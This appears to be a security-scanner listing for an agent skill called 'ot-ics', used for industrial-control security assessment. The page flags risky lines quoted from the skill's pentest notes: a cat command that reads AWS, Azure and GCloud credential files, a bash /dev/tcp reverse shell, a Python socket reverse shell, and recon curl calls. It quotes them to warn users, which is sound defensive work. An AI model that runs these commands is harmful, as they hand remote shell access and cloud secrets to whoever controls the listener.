ot-ics

70 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By zhaoxuya520/reverse-skill (GitHub) · security · 44,484 stars · scanned at commit cab634b

Use for authorized OT/ICS security assessment covering Purdue model zoning, PLC/SCADA exposure, industrial protocol discovery, and safe passive-first evaluation.

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: crt.sh, {target_domain}

The author does not mention this. Expected for a security skill.

Found in 2 places.

skills/field-journal/precedent-pentest.md, line 26□ crt.sh: curl -s "https://crt.sh/?q=%25.{target_domain}&output=json" | jq -r '.[].name_value' | sort -u
skills/field-journal/precedent-pentest.md, line 53□ curl -sI https://{target_domain} | grep -i "server\|x-powered-by\|x-aspnet\|set-cookie"

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this.

Found in 1 place.

skills/field-journal/precedent-pentest.md, line 441□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 2 places.

skills/field-journal/precedent-pentest.md, line 459□ bash -c 'exec bash -i &>/dev/tcp/{ip}/{port} <&1'
skills/field-journal/precedent-pentest.md, line 467□ python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subproc

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'ot-ics' ] || [ -L ~/.agents/skills/'ot-ics' ]; then echo 'A skill folder named ot-ics already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zhaoxuya520/reverse-skill' "$d" && git -C "$d" checkout --quiet 'cab634bd855fc287f6e420c1f36fd1a6b9245960' -- 'skills/ot-ics' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/ot-ics' ~/.agents/skills/'ot-ics' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'ot-ics' ~/.claude/skills/'ot-ics' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-08	`cab634b`	70
2026-11-07	`cab634b`	70